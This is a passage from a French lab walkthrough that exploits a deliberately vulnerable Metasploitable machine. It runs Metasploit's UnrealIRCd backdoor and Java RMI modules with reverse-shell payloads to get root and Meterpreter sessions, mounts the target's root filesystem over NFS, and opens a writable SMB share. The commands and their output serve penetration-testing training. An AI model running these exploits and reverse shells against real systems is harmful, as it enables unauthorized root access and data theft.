18 msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS
    RHOSTS
19 RHOSTS => 192.168.56.115

```

On doit également définir un payload. On les liste avec `show payloads`. On peut alors sélectionner un payload avec `set payload`.

On va ici choisir le reverse shell `cmd/unix/reverse`.

```

1 msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads
2
3 Compatible Payloads
4 =====
5
6 #      Name                               Disclosure Date  Rank
7  Check Description                        -----
8  ----
9
10 0      cmd/unix/bind_perl                  manual No
11      Unix Command Shell, Bind TCP (via Perl)
12
13 1      cmd/unix/bind_perl_ipv6            manual No
14      Unix Command Shell, Bind TCP (via perl) IPv6
15
16 2      cmd/unix/bind_ruby                  manual No
17      Unix Command Shell, Bind TCP (via Ruby)
18
19 3      cmd/unix/bind_ruby_ipv6            manual No
20      Unix Command Shell, Bind TCP (via Ruby) IPv6
21
22 4      cmd/unix/generic                    manual No
23      Unix Command, Generic Command Execution
24
25 5      cmd/unix/reverse                    manual No
26      Unix Command Shell, Double Reverse TCP (telnet)
27
28 6      cmd/unix/reverse_bash_telnet_ssl    manual No
29      Unix Command Shell, Reverse TCP SSL (telnet)
30
31 7      cmd/unix/reverse_perl               manual No
32      Unix Command Shell, Reverse TCP (via Perl)
33
34 8      cmd/unix/reverse_perl_ssl           manual No
35      Unix Command Shell, Reverse TCP SSL (via perl)
36
37 9      cmd/unix/reverse_ruby               manual No
38      Unix Command Shell, Reverse TCP (via Ruby)
39
40 10     cmd/unix/reverse_ruby_ssl           manual No
41      Unix Command Shell, Reverse TCP SSL (via Ruby)
42
43 11     cmd/unix/reverse_ssl_double_telnet  manual No
44      Unix Command Shell, Double Reverse TCP SSL (telnet)
45
46 21 msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix
    PAYLOAD
47 /reverse
48 PAYLOAD => cmd/unix/reverse

```

On peut voir les options du `PAYLOAD` avec la commande `options` désormais.

On définit en LHOST notre IP sur l'interface réseau privé hôte.

```

1  msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > options
2
3  Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
4
5      Name      Current Setting  Required  Description
6      ----      -
7      RHOSTS    192.168.56.115  yes       The target host(s), range CIDR
            identifier, or hosts file with syntax 'file:<path>'
8      RPORT     6667            yes       The target port (TCP)
9
10
11  Payload options (cmd/unix/reverse):
12
13      Name      Current Setting  Required  Description
14      ----      -
15      LHOST
            may be specified)  yes       The listen address (an interface
16      LPORT     4444            yes       The listen port
17
18
19  Exploit target:
20
21      Id  Name
22      --  ---
23      0   Automatic Target
24
25
26  msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > ifconfig eth1
27  [*] exec: ifconfig eth1
28
29  eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
30      inet 192.168.56.114  netmask 255.255.255.0  broadcast
            192.168.56.255
31      inet6 fe80::1a48:bca4:d564:58c2  prefixlen 64  scopeid 0x20<
            link>
32      ether 08:00:27:88:5a:59  txqueuelen 1000  (Ethernet)
33      RX packets 230134  bytes 19110225 (18.2 MiB)
34      RX errors 0  dropped 0  overruns 0  frame 0
35      TX packets 250743  bytes 35448926 (33.8 MiB)
36      TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0
37
38  msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST
            192.168.56.114
39  LHOST => 192.168.56.114

```

On enfin executer l'exploit, et obtenir notre reverse shell :

```

1  msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
2

```

```

3  [*] Started reverse TCP double handler on 192.168.56.114:4444
4  [*] 192.168.56.115:6667 - Connected to 192.168.56.115:6667...
5      :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname
6      ...
7      :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your
        hostname; using your IP address instead
8  [*] 192.168.56.115:6667 - Sending backdoor command...
9  [*] Accepted the first client connection...
10 [*] Accepted the second client connection...
11 [*] Command: echo QWVjfmIAcPLxvELQ;
12 [*] Writing to socket A
13 [*] Writing to socket B
14 [*] Reading from sockets...
15 [*] Reading from socket B
16 [*] B: "QWVjfmIAcPLxvELQ\r\n"
17 [*] Matching...
18 [*] A is input...
19 [*] Command shell session 1 opened (192.168.56.114:4444 ->
        192.168.56.115:48374) at 2021-01-26 09:50:33 +0000
20
21 id
    uid=0(root) gid=0(root)

```

Java RMI

Selectionner le payload

```

1  msf6 exploit(multi/misc/java_rmi_server) > search type:exploit java_rmi
2
3  Matching Modules
4  =====
5
6      #   Name                                     Disclosure Date
7      -   -   -   -   -   -   -   -   -   -   -   -   -   -   -   -
8      0   exploit/multi/browser/java_rmi_connection_impl 2010-03-31
        excellent No      Java RMIConnectionImpl Deserialization
        Privilege Escalation
9      1   exploit/multi/misc/java_rmi_server             2011-10-15
        excellent No      Java RMI Server Insecure Default Configuration
        Java Code Execution
10
11
12  Interact with a module by name or index, for example use 1 or use
        exploit/multi/misc/java_rmi_server
13
14  msf6 exploit(multi/misc/java_rmi_server) > use exploit/multi/misc/
        java_rmi_server
15  [*] Using configured payload java/meterpreter/reverse_tcp

```



```

1 msf6 exploit(multi/misc/java_rmi_server) > info
2
3     Name: Java RMI Server Insecure Default Configuration Java Code
        Execution
4     Module: exploit/multi/misc/java_rmi_server
5     Platform: Java, Linux, OSX, Solaris, Windows
6     Arch:
7     Privileged: No
8     License: Metasploit Framework License (BSD)
9     Rank: Excellent
10    Disclosed: 2011-10-15
11
12    Provided by:
13    mihi
14
15    Available targets:
16    Id  Name
17    --  ----
18    0   Generic (Java Payload)
19    1   Windows x86 (Native Payload)
20    2   Linux x86 (Native Payload)
21    3   Mac OS X PPC (Native Payload)
22    4   Mac OS X x86 (Native Payload)
23
24    Check supported:
25    No
26
27    Basic options:
28    Name          Current Setting  Required  Description
29    ----          -
30    HTTPDELAY      10              yes       Time that the HTTP Server will
        wait for the payload request
31    RHOSTS        192.168.56.115  yes       The target host(s), range CIDR
        identifier, or hosts file with syntax 'file:<path>'
32    RPORT         35476           yes       The target port (TCP)
33    SRVHOST       0.0.0.0         yes       The local host or network
        interface to listen on. This must be an address on the local
        machine or 0.0.0.0 to listen on all addresses.
34    SRVPORT       8080            yes       The local port to listen on.
35    SSL           false          no        Negotiate SSL for incoming
        connections
36    SSLCert       default        no        Path to a custom SSL
        certificate (default is randomly generated)
37    URIPATH       default        no        The URI to use for this exploit
        (default is random)
38
39    [...]

```

Configurer les options :

```

1 msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.56.115

```

```
2 RHOST => 192.168.56.115
3
4 msf6 exploit(multi/misc/java_rmi_server) > set RPORT 1099
5 RPORT => 1099
```

Exécuter l'exploit

```
1 msf6 exploit(multi/misc/java_rmi_server) > run
2
3 [*] Started reverse TCP handler on 192.168.56.114:4444
4 [*] 192.168.56.115:1099 - Using URL: http://0.0.0.0:8080/J9MvKpXba
5 [*] 192.168.56.115:1099 - Local IP: http://10.0.2.15:8080/J9MvKpXba
6 [*] 192.168.56.115:1099 - Server started.
7 [*] 192.168.56.115:1099 - Sending RMI Header...
8 [*] 192.168.56.115:1099 - Sending RMI Call...
9 [*] 192.168.56.115:1099 - Replied to request for payload JAR
10 [*] Sending stage (58125 bytes) to 192.168.56.115
11 [*] Meterpreter session 3 opened (192.168.56.114:4444 ->
    192.168.56.115:51105) at 2021-01-26 10:30:19 +0000
12 [*] 192.168.56.115:1099 - Server stopped.
13
14 meterpreter >
15 meterpreter > sysinfo
16 Computer      : metasploitable
17 OS            : Linux 2.6.24-16-server (i386)
18 Meterpreter   : java/linux
19 meterpreter >
```

NFS

Pour accéder à un partage de fichier NFS, on a besoin du paquet nfs-common

```
1 sudo apt install nfs-common
```

On peut utiliser la commande `showmount` pour voir les partages disponibles.

```
1 $ showmount -e 192.168.56.115
2
3 Export list for 192.168.56.115:
4 / *
```

La commande nous indique que l'on peut monter / soit la racine du système de fichier.

On monte le partage distant avec la commande `mount`.

```
1 $ mkdir nfs_mnt
2
3 $ mount -t nfs 192.168.56.115:/ nfs_mnt/
4
```

```

5 $ cd nfs_mnt/
6
7 $ ls
8 bin boot cdrom dev etc home initrd initrd.img lib lost+found
   media mnt nohup.out opt proc root sbin srv sys tmp usr
   var vmlinuz

```

SMB

On peut lister les partages disponibles avec **smbmap** :

```

1 $smbmap -H 192.168.56.115
2
3 [+] IP: 192.168.56.115:445 Name: 192.168.56.115
4      Disk
5      Permissions Comment
6      ----
7      print$ NO ACCESS
8      Printer Drivers
9      tmp READ, WRITE oh
10     noes!
11     opt NO ACCESS
12     IPC$ NO ACCESS IPC
13     Service (metasploitable server (Samba 3.0.20-Debian))
14     ADMIN$ NO ACCESS IPC
15     Service (metasploitable server (Samba 3.0.20-Debian))

```

On constate que l'on a un **accès READ / WRITE** au partage **tmp**.

On peut s'y connecter avec l'outil **smbclient** de Impacket.

```

1 $locate smbclient.py
2
3 /usr/lib/python3/dist-packages/impacket/examples/smbclient.py
4 /usr/share/doc/python3-impacket/examples/smbclient.py

```

On peut l'exécuter en donnant l'IP de la machine cible en paramètre.

```

1 $python3 /usr/share/doc/python3-impacket/examples/smbclient.py
   192.168.56.115
2 Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
3
4 Type help for list of commands
5 #

```

La commande **shares** permet de lister les partages disponibles. On utilise la commande **use nom_du_share** pour sélectionner un partage :

```
1 Type help for list of commands
2 # shares
3 print$
4 tmp
5 opt
6 IPC$
7 ADMIN$
8
9 # use tmp
```

On peut ensuite utiliser les commande **ls**, **cd** et **get** pour afficher les fichiers, se déplacer, et récupérer des fichiers.